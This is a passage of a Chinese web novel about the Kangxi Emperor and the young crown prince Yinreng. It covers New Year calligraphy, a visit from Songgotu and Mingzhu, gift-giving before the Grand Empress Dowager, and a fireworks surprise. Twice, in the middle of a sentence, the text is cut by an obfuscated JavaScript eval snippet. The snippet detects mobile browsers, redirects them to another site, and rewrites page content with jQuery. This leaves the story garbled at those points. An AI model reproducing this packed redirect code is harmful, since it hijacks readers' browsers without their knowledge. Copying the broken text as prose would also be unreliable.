“嗻。” 梁九功喜滋滋的接过太子爷的墨宝，毕恭毕敬地退下去张罗了。 胤礽只好眼睁睁看着那个丑丑的“福”字被梁九功牢牢地贴了上去。 他趴在康熙膝头，看着窗上歪扭的字迹，脸颊微微发烫。 康熙抚着他柔软的发顶：“还接着写吗？” 见小家伙在他怀里用力摇头，康熙笑了笑，重新取过一张新纸，自己执笔蘸墨。 胤礽安静了一会儿，按捺不住好奇：“阿玛，你写这么多福字干嘛呀？” “赏赐给大臣们。” “啊？”胤礽更困惑了，“不能赏点别的吗？珠宝什么的？” 那些亮晶晶的东西多好啊，他看着就喜欢。 康熙闻言，指尖微微蜷缩了一下，差点糟蹋了一个“福”字。 这话可真是问到了他的痛处。 朝廷正在平定三藩，仗打得艰难，银子更是如流水般花出去。如今别说国库，就连他自己的私库，也快瘦得跑老鼠了。 这亲手写的福字，已是眼下最体面、也最省钱的恩赏了。 康熙面上不动声色，语气沉稳地解释：“保成莫要小看这御笔赐福。 此乃朕亲笔所书，承载着天家福泽与期许，代表着朕对他们的看重。 对于臣子而言，这是无上的荣光，比什么金银珠宝都强。” “哦……”胤礽似懂非懂地点点头，忽然灵光一闪，“那阿玛，为何不叫裕皇伯、恭皇叔他们一起来写呢？你一个人写这么多，好可怜啊。” 可怜？ 康熙被儿子这直白的同情噎了一下，心下又是好笑又是好气。 他堂堂天子，竟被个小娃娃给同情了。 他轻咳一声，面不改色地维护自己英明神武的形象：“你裕皇伯他们……嗯，字写得不太好看，难登大雅之堂。这等彰显天家恩典之事，还是得阿玛亲力亲为才好。” 胤礽信以为真，立刻用小手拍拍康熙的胸口，一副“我懂你”的模样。 他奶声奶气地安慰：“没事的阿玛，你别难过。保成帮你，保成写得可认真了。” 说罢，便挣脱下地，哒哒哒跑到他的小桌子前，抓起他的小毛笔哼哧哼哧地在一旁的纸上开始他的“创作”。 刚想再说些什么，就见梁九功轻手轻脚地走进来，低声禀报：“万岁爷，索相和明相来了，说是有东西要呈给您。” 康熙眉梢轻挑，索额图与明珠？ 这两人素来面不和心也不和，今日倒是凑到一块儿来了。 眼看来不及把人抱去内间，他目光迅速扫过书案下宽敞的空间，当机立断，一把将还在埋头苦干的胤礽捞起。 小家伙手里的毛笔"啪嗒"掉在宣纸上，晕开一团墨。 "阿玛？"胤礽茫然抬头，还没反应过来，就被轻巧地塞进桌帷之下。 康熙低声叮嘱：“保成乖，先在这儿待一会儿，别出声。” “欸？”胤礽眼前一黑，懵了。 阿玛这是做什么？玩捉迷藏吗？可他还想写字呢！ 外间脚步声渐近，索额图与明珠一前一后步入御书房，恭敬行礼：“臣等恭请皇上圣安。” 索额图起身时，目光不着痕迹地扫了圈御书房、 他最近几次面圣，都未能遇见小太子，心中不免失落。 尤其想到张英那老家伙在他面前炫耀曾得见太子多么聪慧和可爱，还得了赏赐，更是酸得心口发堵。 康熙将他的小动作尽收眼底，指尖在案上轻轻一叩，淡淡开口：“索相这是在寻什么？” 索额图忙收敛心神，脸上堆起笑：“回皇上，臣…… 臣就是瞧着御书房的陈设雅致，多看了两眼，没寻什么。” 一旁的明珠将手里的锦盒递上前：“万岁爷，这是臣寻来的上好墨锭，想着您写福字能用得上，便给您送来了。” 康熙接过锦盒随手放在一边，拿起刚写好的两张福字，递到两人面前：“正好，朕这儿刚写了福字，你们俩各拿一张去。” 索额图抢先双手接过，低头细看，眉头顿时皱了起来。 这字歪七扭八的，连笔画都快认不清了。他近来并未有何处得罪皇上啊，何至于得此……不堪之作？ 他心下忐忑，试探着问：“皇上恕臣眼拙，这字笔意高古，臣一时竟未能参透其中玄妙……” 恰在此时，桌下传来极轻微的窸窣声，像是布料摩擦的响动，还夹杂着一声小小的 “唔”。 康熙端起茶盏，慢悠悠地呷了一口，语气平淡：“这不是朕写的，是太子写的。” 索额图脸色瞬间变了，立马换上一副笑容，对着那张纸连连称赞： “哎呀！原来是太子殿下墨宝。臣就说嘛，这字灵气十足！不愧是太子殿下，小小年纪就能写出这样的字！” 康熙嘴角几不可察地抽动了一下。 这老狐狸，变脸倒快。 他摆了摆手：“你要是没别的事，就先回去吧。” 索额图目光仍不死心地往那桌案方向瞟，脚下像生了根，磨磨蹭蹭不肯挪步。 他巴望着能多留片刻，或许能等到小太子现身。 “索相这是还有事？” “没事，没事。臣这就走，这就走！” 索额图嘴上应着，身子却不见动。 康熙被他看得浑身不自在，没好气道：“行了行了，别装了，朕又不是什么恶人，还能拦着你不成？” 他弯腰将里头那个快被闷坏的小家伙捞了出来，“出来吧，再憋下去，小心闷坏了。” 小太子顶着一头被蹭得乱糟糟的软毛，刚一露头，就不满地撅着嘴：“阿玛！我又不是小狗，怎么能把我塞在桌下？” “是是是，是朕的不对。”康熙替他整理下衣冠，笑着哄了句，“今日朕特许太子爷多吃一块桂花糕，好不好？” “两块。”胤礽伸出两根手指讨价还价，样子像只讨食的小狐狸。 康熙忍不住笑了，捏了捏他的小脸：“好，两块就两块。” 他嘴上应着，心里却盘算着回头让小厨房把一块桂花糕切成两半，既应了承诺，又不怕保成吃多了闹肚子。 胤礽的气消了大半，却还是哼了一声。 康熙这才将目光转向一旁呆立许久的索额图，温声对怀里的胤礽说：“保成，来，见过你叔姥爷索额图。” 眼见朝思暮想的小太子终于从皇帝怀里转过身来，一张小脸玉雪可爱，眉眼间竟能窥见几分先皇后昔年的神韵，索额图顿时激动得喉头哽咽。 这是他们赫舍里家的孩子啊！是大清朝的储君啊！ “奴才索额图……恭请太子殿下金安！”他郑重其事地跪下行礼，声音里带着压抑不住的颤抖。 胤礽被这炽热的目光看得有些不自在，无措道：“快、快起来。” 索额图这才起身，目光却始终舍不得从胤礽身上移开。 “老臣失仪了……只是见到殿下这般聪慧灵秀，心中实在欢喜得紧。” 他犹豫片刻，终是忍不住上前半步，眼中满是期盼：“老臣……能否有幸，抱一抱殿下？” 康熙一个警告的眼神扫过去，索额图伸出的手立刻僵在半空，讪讪地缩了回去，却也不敢再强求。 胤礽躲在康熙腿后，探出半个小脑袋，警惕地打量着这个举止奇怪的叔姥爷。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635799|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这人笑得怪怪的，看起来不太对劲。 他小声对康熙说：“阿玛，他好像故事里那个狼外婆，想骗小红帽开门吃掉的狼外婆！” 索额图：“……” 他虽然没听过什么狼外婆的故事，可听太子这语气，也知道不是什么好角色。 这话一出，索额图的脸瞬间红一阵白一阵，站在那儿进退两难，尴尬得连手都不知道该往哪儿放。 康熙强压下几乎要溢出嘴角的笑意，肩膀微微抖了抖。 太子童言无忌，却歪打正着地戳中了索额图的软肋。更让康熙欣慰的是，保成到底还是与他最亲，没被外人的热络轻易哄了去。 看够了热闹，康熙也没忘了正事。 索额图毕竟是太子的母族，将来太子在朝堂上立足，还得靠他帮衬。 他敛了神色，目光落在面色尴尬的索额图身上，语气缓和了几分：“太子年幼，说话直来直去，你身为长辈，莫要计较。” “你是太子的母族，往后太子的事，你得多上心。” 他顿了顿，目光在索额图身上停留片刻，意味深长地道：“索相，你任重而道远啊。” 索额图心头猛地一跳，随即涌上难以抑制的狂喜。 皇上这话，是默许甚至鼓励他亲近太子了。 “奴才谨记皇上教诲。”他连忙躬身，声音因激动而微微发哑，“赫舍里一族必当竭尽全力，辅佐殿下！” 他强压下心头的激动，眼角余光却仍忍不住飘向那个躲在康熙身后的小身影。 一旁的明珠始终冷眼旁观，直到索额图转身欲走，他才不紧不慢地上前一步，看似无意地挡了半分去路。 “索相留步，”明珠唇角噙着若有若无的笑意，声音压得极低，“殿下年纪小，心思纯净。您这一片赤诚固然可嘉，只是日后与殿下相处，您还是收敛些急切心思为好，免得……吓着殿下。” 索额图本就因方才“狼外婆”的评价憋着火，闻言立刻瞪向他：“明相倒是会说风凉话。” “索相这话就错了。”明珠挑眉，语气带着几分讥讽，“下官只是好意提醒，莫要操之过急。” “你胡说！” 索额图气得吹胡子瞪眼，“老夫对太子的心意，天地可鉴！” “是不是胡说，索相心里清楚。” 明珠淡淡一笑。 两人在殿门口僵持着，虽听不清具体言语，但那剑拔弩张的气氛却显而易见。 直到梁九功轻咳一声，那两道身影才不情不愿地分开，各自冷哼一声，一前一后离开了御书房。 康熙透过窗户看着两人离去的背影，无奈地摇了摇头，又低头看向怀里的胤礽：“瞧见没？这两人凑在一块儿就没消停过。” 胤礽伸手抓了抓康熙的手指，忽然冒出一句：“阿玛，我觉得那个索额图旁边那个人……长得比他好看些。” 他心想，叔姥爷笑起来，脸上的褶子都快能夹住笔了，还是旁边那个身形挺拔的臣子瞧着更清爽顺眼。 康熙闻言失笑，屈指轻轻刮了下他的鼻尖：“嗬，你才多大点儿，就知道以貌取人了？” 他带着几分戏谑，点评道，“明珠么，底子是不错，只是人到中年，到底不如盛年时了。他那个长子纳兰容若，倒是青出于蓝，风姿更为出众。” 听到是个没听过的新名字，胤礽乌溜溜的眼睛立刻睁大了：“容若？” “嗯，”康熙微微颔首，语气中带着一丝不易察觉的欣赏，“他在朕跟前当差，性子沉静，是个从不掺和是非的。” “在阿玛跟前当值？”胤礽立刻抓住了重点，追问道，“那保成怎么从没见过他？” 康熙眼底掠过一丝不易察觉的复杂，用轻松的语气将话带过：“他近日告假在京修养。御前侍卫轮班值守频繁，没遇上也是常事。” 他拍了拍儿子的小脑袋，“日后总能见着的。” 这话说得含糊，胤礽却敏锐地察觉到康熙似乎不想深谈，但这反而更激起了他的好奇心。 这个纳兰容若到底是什么样的人，竟然能得到阿玛这么高的赞扬？ 父子俩正说着悄悄话，太皇太后宫里的苏麻喇姑来请，说是大阿哥胤褆到了，请皇上和太子过去一聚。 窗外，细雪仍簌簌落着，没有停歇的意思。 康熙吩咐人取了那件新制的玄狐皮里子斗篷来，将胤礽裹了个严实，只露出一张白嫩的小脸。 他牵着裹成个小圆球的儿子走出暖意融融的殿门，预备共乘御辇前往慈宁宫。 胤礽扒着斗篷的领口，看着那明黄色的御撵，心里有点犹豫。 他虽年纪小，但也隐隐知道这是阿玛独有的，不同寻常。 胤礽犹豫道：“阿玛，我……我可以坐吗？让高三变抱着我走，或者再叫一顶小轿就好。” 康熙垂眸看他，假装委屈：“怎么？保成这是嫌弃阿玛了，连阿玛的御辇都不肯坐？” “没有没有，” 胤礽连忙摇头，小手紧紧抓住康熙的衣袖，“保成不嫌弃阿玛。” 他最爱和阿玛贴贴了！ 康熙这才展颜，一把将小家伙稳稳抱起，大步流星地踏上御辇：“既然如此，那就乖乖坐好。” 侍立一旁的梁九功躬身看着，心下暗叹，这份殊荣，满宫里也就太子爷独一份了。 御辇抵达慈宁宫门时，雪势稍缓。 胤礽正被康熙抱着下来，一眼便瞧见不远处，大阿哥胤褆正由贴身太监跟着，也刚走到宫门口。 21.第 21 章 “皇阿玛？太子弟弟？” 胤褆也瞧见了康熙和胤礽二人，甩开贴身太监的手快步过来，规规矩矩的行了个礼。 他先前在皇庄时已经见过了康熙，所以今日在宫里再见对着他倒没那么害怕，反而生出几分熟稔。 胤褆咧嘴一笑：“可算等到你们了！” 康熙瞧着那太监手上的拿着的伞，上面积着一层落雪，应该是等了有些时候了。 他奇怪道：“保清，你怎么不进去？” 因为抱着胤礽的缘故，他不好抬手，就用微微扬了扬下巴朝着殿门方向示意。 胤褆摸摸自己光溜溜的脑门：“里面人太多，我有点紧张，想在门外先冷静冷静。” 他这话说得坦然，康熙略微一想，也是，他这大儿子自小养在宫外，没怎么沾过宫里的热闹，怕生也属正常。 “好小子，这有什么好怕的。”康熙不由笑道，“你额娘也在里头，和朕一起进去吧。” “是，皇阿玛！”胤褆喜滋滋的应了。 就在这时，被康熙抱在怀里的胤礽扭了扭身子：“阿玛，我要自己走。” 康熙低头看他，小家伙平日里最爱赖在他怀里，每回到太皇太后这儿，不都是他抱着的，今日倒是转了性。 见胤礽小手还在推着他的肩，康熙索性顺着他的意把人放了下来。 胤礽脚刚沾地，还没站稳，那边胤褆就黏糊糊地贴了过来。 他小声道：“太子弟弟，你怎么都不理我。” 胤礽瞥了他一眼：“孤哪里没有理你？” 胤褆委屈：“我给你写信，你都没有回我。” 他说的是前些日子胤礽炫耀圆滚滚的那封信。他等了老半天，也没见到保成的回复。 被胤褆这么一提醒，胤礽倒是想起来了。 原本他是准备回胤褆的，结果回信那日恰好是他发现圆滚滚被狸猫换太子那次，一来二去的事情一多，他就忘了。 被胤褆控诉的目光看着，胤礽有些不自在地摸了摸鼻子：“我忘了。” 他心里发虚，连平日里的自称都忘了用。 胤褆：“什么？你忘了？” 他声音陡然拔高，惊动了走在前面的康熙。康熙回头看了他们一眼，催促：“走快些。” 胤礽解释：“我也不是有意的。” 胤褆仍是满脸哀怨：“你知道我有多盼着你的回信吗？” 眼见胤褆真要恼了，胤礽忙扯了扯他的袖子，凑近些许。 他许诺：“好啦，你也别生气了。过两日，孤带你去看圆滚滚。” 两个人嘀嘀咕咕的说着话，进殿的路倒也快，不一会儿就到了门口。 一迈进殿内，暖香扑面，与外面的寒气截然不同。 见到了熟悉的摆设，胤礽就像只归巢的乳燕，噔噔噔地扑到太皇太后面前，卖乖撒娇起来。 他脆生生道：“乌库妈妈吉祥！保成给您拜早年啦！祝您福寿安康！” 康熙随后进来，环顾四周，只见佟佳贵妃、荣嫔、惠嫔皆在列，就连久病不出宫的皇后钮钴禄氏也端坐在侧。 这般齐全的场面，倒是难得。 太皇太后被逗得眉开眼笑，搂着他心肝肉儿地叫了一阵，这才抬头看向康熙：“皇帝进来怎么也不让人通报一声？” 康熙阻止嫔妃们欲行礼的动作，“大过年的，就不必拘这些礼节了。都坐着吧，别折腾了。” 这边说着，那边胤禔却僵在了门口。 他本来亦步亦趋地跟在康熙身后，看着满屋子珠环翠绕的嫔妃，不由得愣住了。 这......他是听说人多，但也没说有这么多人啊！ 康熙：“胤禔，去给太皇太后请安。” 胤禔却像是没听见似的，站在原地一动不动。 康熙又唤了一声，见他仍无反应，不由微微蹙眉。 殿内霎时静下来。 惠嫔在一旁看得心急如焚，手里的帕子绞个不停。 这是胤褆头回在太皇太后跟前露脸，若失了规矩，往后哪还有好印象？ 她刚要起身上前，手腕却被荣嫔轻轻拽了一下。荣嫔冲她递了个安抚的眼神，示意她稍安勿躁。 正当气氛凝滞时，依在太皇太后怀里的胤礽动了动。 胤礽眼尖，瞧见胤褆涨得通红的脸，便挣开太皇太后的手。 太皇太后唤道：“保成？” 胤礽：“乌库妈妈，方才保成太着急了，都没好好给您请安呢。保成要重新来。” 太皇太后哪能看不出这小机灵鬼的心思，笑着点点他的额头，轻轻推了他一把。 胤礽立马噔噔跑到胤褆身边，仰头笑得眉眼弯弯。 “哥哥，咱们一起给乌库妈妈请安好不好？” 原本还有些冰凉的手被一只肉乎乎的手拉住，胤褆发紧的心莫名松了些，愣愣地点了点头。 两人手拉着手并肩上前，胤褆虽说话还有些磕巴，却学着胤礽的样子，规规矩矩说了吉祥话。 太皇太后笑得更欢了，伸手一手搂过一个，疼惜地摸了摸两人的头。 “好好好，都是好孩子。”太皇太后扬声道，“苏麻，把红包拿上来。” “格格，早就准备好了。” 苏麻喇姑递上早就准备好的两个用料讲究、绣工精致的荷包。 胤褆捏着属于自己的那份，入手沉甸甸的，到底还是孩子心性，忍不住当场就拆开一个小口往里瞧。 里面是几枚小巧可爱的如意金锞子，还有一小把黄澄澄的金瓜子。 他心下欢喜，又按捺不住好奇，凑到胤礽耳边小声问：“弟弟，你的荷包里是什么呀？也一样吗？” 他这话问得随意，话音落下，殿内却有一瞬间奇异的安静。 胤礽看见几个大人的目光都似有若无地落在他手中的荷包上。他何等机灵，立时明白了其中关窍。 他是太子，乌库妈妈给的东西自然不同，可若让胤褆瞧见分量悬殊，怕是会难过。 他接过荷包，轻轻一掂。这分量，肯定不止那些如意金锞子。 他心念电转，面上却是不动声色，只利落地解开抽绳，从里面拿出了几枚样式相仿的如意金锞子。 “哥哥，你瞧，是和你一样的。”他举到胤褆眼前。 惠嫔悬着的心总算落了地，轻轻舒了口气。 坐在她身旁的荣嫔将她的反应看在眼里，低声：“如何？我早同你说过，咱们这位太子殿下，年纪虽小，却是个心思玲珑、善解人意的。” 这一番小插曲过后，殿内气氛愈发融洽。 拜完太皇太后，紧接着轮到康熙。 他笑着从梁九功捧着的托盘里取出两枚质地上乘、触手温润的白玉佩，分别递给两个孩子。 胤礽双手接过，心里却有点小小的困惑。 往年康熙给的压岁红封，不是银票就是更稀罕的玩意儿，今年怎么只有一枚玉佩了？ 他正想着，却见康熙对他眨眨眼，还偷偷对他比了个口型。 胤礽仔细分辨了下，依稀看出是“等晚上”的意思。 小家伙眼睛一亮，又高兴了起来，拿着玉佩把玩，心里已经开始期待夜晚的到来。 两个孩子收了太皇太后和康熙丰厚的红包，又依着规矩，挨个给殿内的佟佳贵妃、皇后钮钴禄氏以及几位嫔妃拜年。 一圈吉祥话说下来，两人手里又多了不少长辈赏的吉祥物件儿，荷包塞得满满当当，小脸上都乐开了花。 待领完赏赐，胤褆先前的拘束劲儿渐渐散了，话匣子一打开，就开始絮絮叨叨地讲起宫外的趣闻。 他眉飞色舞地说起怎么猫着腰在草稞子里钻，又是怎么眼疾手快地逮住一只灰毛小兔子的。 讲到兴头上，他干脆跑到殿中央，学着在外头瞧见的杂耍把式，嘿哈有声地比划了一套拳。 动作虽还带着孩童的稚嫩，一招一式却虎虎生风，那股子浑不怕的莽撞劲儿，逗得太皇太后忍俊不禁，连带着满殿的宫嫔也都笑开了。 眼见胤褆讲得面色通红，额角也见了汗，康熙抬眼，望了望窗外的天色。 “保清今日才回宫，一路车马劳顿，也该早些歇息。”他转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640293|186846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向惠嫔，语气温和，“你带他回去，好好说说话。” 惠嫔闻言，忙起身应了，拉着胤褆恭敬谢恩。母子二人眉眼间皆是掩不住的欢喜，缓缓退了下去。 康熙目光转向钮钴禄氏，语气放柔：“皇后，你身子骨弱，今日劳神了，也早些回去歇着。明日朕再去瞧你。” 钮钴禄氏撑着身子谢了恩，由宫女扶着也退了出去。 佟佳贵妃坐在下首，眼见康熙三言两语便将人一一打发，目光却始终不曾转向自己，心头不由得漫上几分涩意。 她微微抬眼，想寻个时机说句话，却见康熙已侧过身，正与太皇太后低声商议着什么，神情专注，压根没往她这儿看。 殿内一时只剩下她一位妃嫔，再留下去，反倒显得不知趣了。佟佳贵妃只好心不甘情不愿得退下。 人一走，慈宁宫顿时清静不少。 康熙领着胤礽陪太皇太后用了晚膳。席间多是些软糯适口的家常菜色，祖孙三代倒也吃得温馨。 撂下筷子后，康熙坐在那儿，指尖无意识地在膝上轻点，虽仍陪着说笑，那心思却明显有些飘了。 太皇太后将他这般坐立不安的模样瞧在眼里，忍不住笑着打趣：“行了行了，别在我这儿硬熬着啦，赶紧带着保成去吧。” 康熙忙敛了神色，嘴上还否认：“玛嬷这是哪里话，孙儿是想多陪您说会儿话。” “你呀，还糊弄我这老太婆？”太皇太后戳破他的心思，“你心里惦记着，保成心里更惦记着，也一直往殿门外瞧。 难得今儿松快，领他玩去罢，不用在这儿陪着我这个老婆子了。” 康熙知道瞒不过她，也不再装，笑着谢了恩，牵起胤礽的小手便起身告退。 一出殿门，寒气扑面，却压不住胤礽心头的雀跃。 小太子刚迈过门槛，就迫不及待地拽了拽康熙的手。 胤礽：“阿玛，现在能给我了吗？您说的晚上已经到了。” 康熙故作茫然：“嗯？什么东西？阿玛在殿里不是赏过你玉佩了么？” “不是那个！”小家伙急得跺脚，“您明明对我做口型了，说等晚上给我好东西的。” 康熙继续装傻：“有这回事？阿玛怎么不记得了？定是保成看错了。” 胤礽见他耍赖，脾气也上来了，甩开他的手就往他身上扑腾。 两只小胳膊紧紧抱住康熙的腿，小家伙踮起脚尖，使出吃奶的劲儿往上蹭。 他一手揪住康熙腰间的玉带借力，小短腿努力蹬着皇帝的衣摆，像只急于爬树的小猫崽，铆足了劲要去够那近在眼前的脖颈。 康熙身量高，胤礽人小，攀得颇为费劲。 不过三两下功夫，那白嫩的小脸蛋就已憋得通红，呼吸也带上了急促的哼哧声。 “胡闹！” 康熙吓了一跳，生怕他摔着，赶忙弯腰，结实的手臂一捞，将这小炮仗稳稳当当地抱进了怀里，“万一摔了怎么办？” 胤礽缩了缩：“不会摔的，阿玛会接住我的。” 康熙有心让他长个记性，面色微沉，“朕要是没接住呢？” “那也掉不了呀，”胤礽软声应道：“因为保成是阿玛身上的小挂件，粘得牢牢的。” “朕这是在训你！” 康熙见他还敢顶嘴，毫不犹豫拍了下他的小屁股，“哪来这么多歪理？” 胤礽在他怀里不服气地扭了扭，哼哼两声，嘴上不饶人，“我说的明明都是实话。” 康熙被他气笑，挑眉道：“太子这嘴，真是跟抹了蜜一样的，越发会恃宠而骄了。” 胤礽一听，立刻搂紧康熙的脖子，小脸贴过去，“那阿玛到底给不给嘛？保成等好久啦。” 康熙被他这小猫似的撒娇磨得没了脾气，偏头凑到他耳边，低声诱哄： “给，这就给。不过…… “不过什么？” “朕把这东西收在乾清宫。不知太子，可否赏脸随朕移驾一趟？” “去！现在就去！” 胤礽立刻在他怀里蹦跶起来，“阿玛快走，咱们快走呀！” 22.第 22 章 康熙抱着胤礽一路朝乾清宫的方向走去，只是到了正殿的时候，他并未停留。 而是穿过侧门，径直走到了殿外一处视野开阔的平台上。 寒风扑面，胤礽冻得一哆嗦，小脸直往康熙怀里钻。 “阿玛，好冷呀......我们跑外面来干什么呀？” 他正抱怨着，忽地打了个响亮的喷嚏。 此刻寒意渐浓，汉白玉栏杆上已凝了层薄霜，在月光下泛着清冷的光。 康熙低头看了眼怀里的小团子，从梁九功手里接过早就备好的暖炉，塞进胤礽怀里。 那暖炉做得精巧，正好让胤礽一双小胖手抱个满怀。 “保成，把眼睛闭上。” “啊？”胤礽眨巴着杏眼，满是疑惑。 但康熙的话他向来听得认真，还是乖乖抬起小手捂住眼睛。 只是这乖巧没持续多久。 他指尖刚合上，就悄悄张开无名指和食指，给眼睛留了条大大的缝。 他要看看，阿玛神神秘秘的，到底在搞什么名堂。 康熙正要示意梁九功，偏巧一眼看见那对藏在手指缝里的乌黑眼珠，正东张西望，滴溜溜地转着。 他眼底掠过一丝笑意，伸手轻轻按住那不安分的小手，又用自己的手指把那缝隙堵的严严实实。 胤礽本还在偷看，忽然间一片漆黑，惊得“咦”了一声，挣扎着想抬头。 “阿玛！你干什么呀！” “不要耍赖偷偷看，”康熙的声音带着笑意，“这东西提前瞧见了，可就不算惊喜了。” 胤礽撇撇嘴，终于老实了：“好嘛，不看就不看。” 确认小家伙不再偷看，康熙这才朝梁九功递了个眼神。 梁九功会意，躬身快步退下，身影很快没入夜色中。 寒风在耳边呜呜作响，胤礽竖着小耳朵，能听到不远处宫墙下巡逻侍卫的脚步声，还有自己砰砰的心跳。 他忍不住屏住呼吸，小手攥得更紧了，心里跟揣了只兔子似的，猜测康熙到底要给他什么惊喜 正胡思乱想着，忽然感觉到康熙温热的气息拂过耳畔。 “保成，一会儿跟着阿玛一起倒计时。” 胤礽连忙点头：“好的，阿玛。” “三——” 胤礽屏住呼吸，连小肚子都吸得扁扁的。 “二——” 风似乎停了些，他心跳得飞快，眼睛还被捂着，只能感觉到阿玛掌心的温度。 “一 ——” 话音刚落，遮挡在眼前的大手松开。胤礽眨眨眼睛，眼前的黑暗倏地被打碎—— “砰 ——” 夜空里突然炸开一声脆响！ 绚烂的烟花腾空而起，红的、金的、粉的光点瞬间铺满夜空，像无数碎星坠落，将乾清宫的琉璃瓦照得流光溢彩。 紧接着，砰砰砰的声响接连不断，烟花一朵接一朵绽放，把寒夜映得如同白昼。 胤礽瞪大了眼睛，小嘴微微张开，脸上满是惊艳。小胖手不自觉地抬起来，像是想触碰那漫天绚烂。 康熙低头看着儿子惊喜的模样，唇角扬起：“新年快乐，保成。” 胤礽猛地回头，眼睛亮得惊人：“阿玛，这是给我的？” “那些金银玉器、玩物摆件，朕瞧着没什么新意。”康熙轻轻捏了捏他的小脸，“便想着给你看点从没见过的。” 胤礽软声唤道：“阿玛……” “如何？喜欢吗？” “喜欢！”小家伙用力点头，生怕表达得不够，“保成特别喜欢这个！” 康熙抬手揉了揉他的发顶，指尖带着暖意：“喜欢便好。” “谢谢阿玛。这是保成收过的最好的礼物。” 胤礽仰起小脸，眼神里满是期待，“以后每年过年，保成都能和您一起看烟花吗？” 康熙将他往怀里搂紧了些，“当然。只要太子想，我们每年都看。” 这边康熙和胤礽在雪夜里亲亲热热地欣赏烟花，那边延禧宫却是另一番鸡飞狗跳的景象。 胤褆跟着惠嫔回了宫，刚踏进暖阁，带着寒气的身子还没暖和过来，就被惠嫔一把搂进怀里。 温热的香气混合着熟悉的、属于额娘的气息扑面而来，胤褆耳根一热，有些不自在地扭了扭身子。 “额娘，儿子都大了，是要当巴图鲁的。”他梗着脖子，努力让自己的声音听起来沉稳些，“这般搂搂抱抱的，叫人看见了多不像话。” 惠嫔被他这副明明眷恋却又强装大人的模样逗得想笑，心里软成一片，到底还是顺着他的意松开了手。 她的保清长大了，她不能再像对待小娃娃那样总抱着不放了。 “好好好，额娘的保清是顶天立地的巴图鲁了。”她拉着胤褆在暖炕边坐下， “可在额娘这儿，你永远都是孩子。快跟额娘说说，这些时日在外头，吃得好不好？睡得暖不暖？” 胤褆一一如实答了，母子俩正说着体己话，窗外忽然传来“砰”的一声闷响。 不远，清晰。 胤褆猛地抬头，循声望去，只见夜幕中被映亮了一角。 他惊喜道：“额娘，宫里也会放烟花？” 惠嫔顺着他视线往外瞥了一眼，眼底闪过一丝了然。 那方向…… 她唇角弯了弯，意味不明地轻笑道：“这可是难得一见的景儿，可遇不可求。” “啊？”胤褆没听懂，疑惑地转过头来，“额娘，您说什么不可求？” 惠嫔摇了摇头，抬手替他理了理衣领：“没什么。” 可不是可遇不可求么？ 这紫禁城里，除了万岁爷，还有谁敢在宫禁之内弄出这般动静？ 就是不知皇帝是为谁放的烟花了。 胤褆的注意力来得快，去得也快。 他很快就把烟花抛在脑后，兴致勃勃地跟惠嫔说起了在皇庄的趣事。 他越说越兴奋，话赶话地，就把自己当时眼拙，错认太子为小姑娘的糗事一股脑儿全倒了出来。 “额娘，您都不知道！”他比划着，语气里带着点事后回想起来的不可思议， “那日在皇庄，我远远瞧着，竟把保成错认成了哪里跑出来的小格格！您说好笑不好笑？” 惠嫔脸上的笑容瞬间僵住，“你说什么？” 小格格？什么小格格？ 皇帝之前提起皇庄之事时，可半个字都没提过这茬啊！ “我说，保成那时候穿着常服，脸蛋白白嫩嫩的，一双杏眼又大又圆……”胤褆还在试图描述当时的场景。 “我没问你这个！”惠嫔急急打断他，身子坐直，紧紧盯着胤褆的眼睛，“你是说……你把太子，当成了小格格？” 胤褆老实点头，还没意识到问题的严重性：“是啊，后来才知道是他。” 惠嫔顿时觉得眼前一黑，一口气差点没上来，下意识捂住了胸口。 哎哟喂，这个傻小子！怎么这么缺心眼呢？ 那是太子，是国之储君，是他能随便编排像个女孩儿的吗？ 这话要是被有心人听去...... 她立刻起身，快步走到梳妆台前，从抽屉里取出一个精致的紫檀木锦盒，走回来塞到胤褆手里。 胤褆接过，入手沉甸甸的。 他好奇地打开盒盖，只见明黄软缎上，静静躺着一对玲珑剔透的羊脂玉马。 玉质温润无瑕，雕工更是精湛。 小马姿态灵动，昂首奋蹄，鬃毛纹理都清晰可见，一望便知绝非凡品。 “这是……”胤褆有些疑惑。 “明天你去见太子，把这对玉马送给他。”惠嫔语气坚决，“就说你瞧着这马精神可爱，特地寻来与他赏玩的。” 胤褆看着手里的锦盒，有些不情愿：“额娘，我都跟他道过歉了，当时就说清楚了……再说，保成他也没生气啊。” “你那是道歉的事儿吗？”惠嫔瞪他一眼，“先前那般冒失，一句轻飘飘的对不住就想了事？ 太子身份尊贵，你言语无状，更该有所表示。这对玉马寓意好，又不算过分贵重，正合适。” 胤褆想起今天胤礽还帮自己说话，觉得额娘有点小题大做。 他嘟囔道：“可我和他关系本来就很好了，您没看见吗？今天在乌库妈妈那儿，他还帮我解围了呢……” 惠嫔见他不开窍，声音不由得提高了一点：“让你去你就去！哪那么多废话！” 见惠嫔真有些动气了，胤褆只好收起那点不情愿，点了点头，把锦盒攥在手里。 “知道了知道了，我去就是了。” 隔日天刚蒙蒙亮，胤褆就被惠嫔从被窝里挖了出来，胡乱用了些早膳就被催着往外赶。 他怀里揣着那个紫檀木锦盒，一路脚下生风往东暖阁去。 高三变引他进殿时，里头正飘着吃食香气。 “太子刚起身，大阿哥稍待。” 胤褆抬眼望去，见胤礽正坐在桌前捧着白玉碗，小口小口喝着粥。 